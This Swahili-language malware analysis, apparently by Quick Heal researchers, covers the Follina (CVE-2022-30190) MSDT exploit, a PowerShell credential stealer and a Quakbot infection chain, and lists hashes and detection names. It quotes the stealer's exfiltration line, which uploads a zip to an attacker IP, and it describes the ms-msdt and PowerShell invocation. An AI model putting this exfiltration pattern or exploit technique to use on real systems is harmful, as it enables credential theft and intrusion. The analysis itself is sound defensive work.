Mnamo Mei 30, 2022, CVE-2022-30190 "FOLLINA," athari ya siku sifuri ya utekelezaji wa msimbo wa mbali iligunduliwa katika Zana ya Uchunguzi ya Usaidizi wa Microsoft Windows (MSDT) kwa ukali wa juu (CVSS:9.3).
Zana hii ya MSDT hutambua matatizo na programu kama vile hati za Microsoft Office. Vekta ya mashambulizi ya awali kama vile hati za neno hutumia utendaji wa kiolezo cha mbali ili kupakua faili ya HTML, ambayo hutumia itifaki ya URL kuita zana hii ya uchunguzi (MSDT) na kutekeleza msimbo hasidi. Wakati huo huo, mashambulizi ya awali yalipunguzwa kwa Microsoft Word, lakini hivi karibuni, vekta za mashambulizi zilipanuliwa ili kujumuisha RTF na Outlook.
Athari hii imetumiwa porini, na watendaji tishio wanaoiathiri kwa mafanikio wanaweza kutekeleza msimbo kiholela na kusakinisha programu za ziada. Waigizaji wa vitisho wanatumia dosari hii kueneza Backdoors, AsyncRAT, Quakbot, na programu hasidi nyingine kwa watumiaji na sekta kote Amerika Kaskazini na Ulaya.
Uchambuzi wa Kina wa Athari:
Programu ya kwanza ya kupiga simu kwa zana ya MSDT itakuwa Microsoft Office (Word, Excel, RTF n.k.)
Mchoro wa Mtiririko wa Mtini
Ufuatao ni mfano wa Sampuli ya RTF inayoitwa "Employment_Agreement_Template." Hati hizi za RTF hutumia vitu vya OLE.
Faili ya RTF ya kielelezo na OLE vitu
Hati hii inapofunguliwa, inaonyesha ujumbe ufuatao:-
Mara tu mwathirika anapobofya "Ndiyo," faili ya HTML iliyosimbwa inapakuliwa kutoka kwa kiungo kilichopachikwa http[:]//45[.]76[.]53[.]253/1.html, kama ilivyoonyeshwa hapa chini:-
Hati za HTML zina vibambo "A" vilivyotolewa maoni chini ya faili inayopatikana chini ya msimbo.
Mtini. Data iliyosimbwa katika faili ya HTML
Msimbo uliopachikwa ndani ya faili ya HTML hualika PCWDiagnostic kwa kutumia ms-msdt yenye kigezo cha IT_BrowseForFile ambacho kinajumuisha sintaksia ya PowerShell. Sehemu iliyotengwa ya data iliyosimbwa ya base64 ni -
Mtini. Data iliyosimbuliwa
Msimbo huu husimamisha msdt.exe ikiwa inaendeshwa na kuunganishwa na URL “hXXps [:]//seller-notification [.]live/Zgfbe234dg” na kupakua hati POWERSHELL.
Unyonyaji wa Follina umetumika kusambaza Stealer inayotegemea PowerShell . Hebu tuangalie zaidi yaliyomo:
Kielelezo cha Maudhui ya Hati sehemu ya 1
Hati hiyo inaorodheshwa ndani ya Appdata/Roaming na inajaribu kuiba data ya kuingia, vidakuzi, n.k. ya programu kama vile Firefox, Opera, Yandex, Vivaldi, CentBrowser, Comodo, Chedot, Orbitum, Chromium, Slimjet, Xvast, Kinza, Iridium, CocCoc, Outlook, AVAST Thunder Software, Chrome, Windows Live MobaXterm, WeChat.
Mwizi huuliza sajili ili kuiba maelezo yanayohusiana na programu zifuatazo: Autodesk, MobaXterm, Oray SunLogin RemoteClient, MailMaster, Navicat, WinSCP, Microsoft Office, FTP, RAdmin, n.k.
Kielelezo cha Maudhui ya Hati sehemu ya 2
Mbali na hayo, pia hukusanya taarifa zinazohusiana na mashine:
- Systeminfo (ambayo inajumuisha Jina la Mpangishaji, maelezo yanayohusiana na OS, Mmiliki, maelezo ya BIOS, Mmiliki Aliyesajiliwa
Kitambulisho cha Bidhaa, Tarehe Halisi ya Kusakinisha, Muda wa Kuanzisha Mfumo, Kitengeneza Mfumo, Muundo wa Mfumo, Aina ya Mfumo, Kichakata, Toleo la BIOS, Maeneo ya Mfumo, Jumla ya Kumbukumbu ya Kimwili ya Eneo la Saa, Kikoa, Seva ya Kuingia n.k.) - Usanidi wa IP (kupitia Ipconfig)
- Usanidi wa Kituo cha Kazi
- Maelezo ya Akaunti ya Mtumiaji
- Wasimamizi wa Vikundi vya Mitaa
- Matoleo ya majina ya bidhaa
Faili ya .zip huundwa katika %temp% na kutumwa kwa URL:
$http_url = “hxxp://45[.]77.156[.]179:443/” + $ip + “———-” + $time1 + “.zip”
$time1 ni muhuri wa wakati wa enzi uliokokotolewa na
Hii hufanya kama ukaguzi wa Virtualization pia.
Wacha tuangalie mfano mwingine wa Quakbot:
Barua pepe ya hadaa iliyo na viambatisho hasidi vya html pakua faili za kumbukumbu (.img) (ed63c189b52e4eb663598dc0c3121e05). Kumbukumbu hii ina .lnk (76390978f26d3c6d7f799257542796ce), upakiaji wa qbot (a14d48974eab6839b1238f984b3c28d2) na faili ya hati (e7015438268464).
Mchoro wa Mtiririko wa Mtini
Upakiaji wa qbot kwenye zip unatekelezwa kupitia .lnk, na faili ya .doc inapakua faili ya HTML. Faili hii ya .html inapakua tena upakiaji mwingine wa .qbot kwa kutumia Follina.
Hapa faili ya HTML imepakuliwa kutoka http[:]//185[.]234[.]247[.]119 na ina data iliyoonyeshwa kwenye kielelezo kifuatacho:-
Mtini. HTML faili data
HTML hii inaunganishwa na URL zilizo hapo juu na kupakua Quakbot dll(ce86511634b5420332eb6267c0e2ae2e) ambayo inatekelezwa kupitia regsvr32.exe
Uchambuzi:
Faili hii ya quakbot ni faili iliyokusanywa ya Delphi yenye data iliyosimbwa kwa njia fiche katika sehemu ya .rsrc ndani ya RCDATA, ambayo husimbwa katika kumbukumbu iliyo karibu iliyogawiwa. Takwimu zilizo hapa chini zinaonyesha data iliyosimbwa kwa njia fiche na kitanzi cha Usimbuaji.
Mtini. Data iliyosimbwa kwa njia fiche
Kitanzi cha maelezo ya Mtini
Hii husimbwa kwa njia fiche katika API na faili ya PE ya hatua ya 1
Mtiririko sasa unakwenda kwa hatua ya 1, ambayo inawajibika kwa Injection ya DLL na huleta upakiaji wa Quakbot kwenye kumbukumbu. Usimbuaji wa RC4 unafanywa kwenye mifuatano iliyosimbwa, ambayo huleta orodha ya mchakato kama vile michakato inayohusiana na AV n.k. Ikipatikana ikiendelea, mzigo wa malipo hutoka. Katika takwimu hapa chini, tunaweza kuona taratibu zinazokaguliwa.
Orodha ya mchakato unaoangaliwa ni pamoja na:-
Baadaye, hufanya sindano ya mchakato katika "onedrivesetup.exe": -
Qbot inahusishwa na kampeni ya "obama186". Inayotolewa hapa chini ni picha inayoonyesha miunganisho ya C2 kutoka kwa "onedrivesetup.exe":-
Mbinu za Bypass:
Tumeona wavamizi wakitumia mbinu za usimbaji katika vekta za mashambulizi ya awali ili kuepuka ugunduzi. Mifano ifuatayo inaonyesha hili.
Mfano Na.1
Mfano Na.2
Hitimisho:
Hii ni moja ya siku sifuri muhimu zaidi katika siku za hivi karibuni. CVE hii imetumia mbinu nyingi za kupita, haina urekebishaji, na inaweza kutumiwa kwa urahisi. Baada ya kiraka cha usalama kupatikana kutoka kwa Microsoft, Watumiaji wanapaswa kurekebisha mara moja. Hadi wakati huo, tunashauri mashirika kuwa macho na kufuata hatua zilizo hapa chini za kupunguza ili kupunguza eneo la mashambulizi na uharibifu unaowezekana.
Kwa Marekebisho ya 'Follina', Tafadhali fuata ushauri:
Je, Quick Heal inalindaje wateja wake?
Teknolojia zilizopo za ulinzi wa bidhaa za Quick Heal hulinda wateja wetu dhidi ya Follina.
Tuna ugunduzi unaoitwa “CVE_2022_30190_Follina” kwa Follina katika teknolojia yetu ya kitabia. Vile vile, katika Seqrite Bidhaa ya Hawk Hunt, tuna sera inayoitwa "QHIR_CVE_2022_30190_Follina" kubaini shambulizi hili.
Ufuatao ni ugunduzi wa msingi wa faili na mtandao wa Follina:
1. Kulingana na faili:
- Backdoor.Turian.S28183972
- Trojan.Qbot.S28211728
- CVE-2022-30190.46655
- CVE-2022-30190.46638
- CVE-2022-30190.46635
- CVE-2022-30190.46624
2.Mtandao-msingi:
- CVE-2022-30190.RCE!46674
- CVE-2022-30190.RCE!46675
Mtaalam wa Masomo
Tejaswini Sandapolla
Amruta Wagh
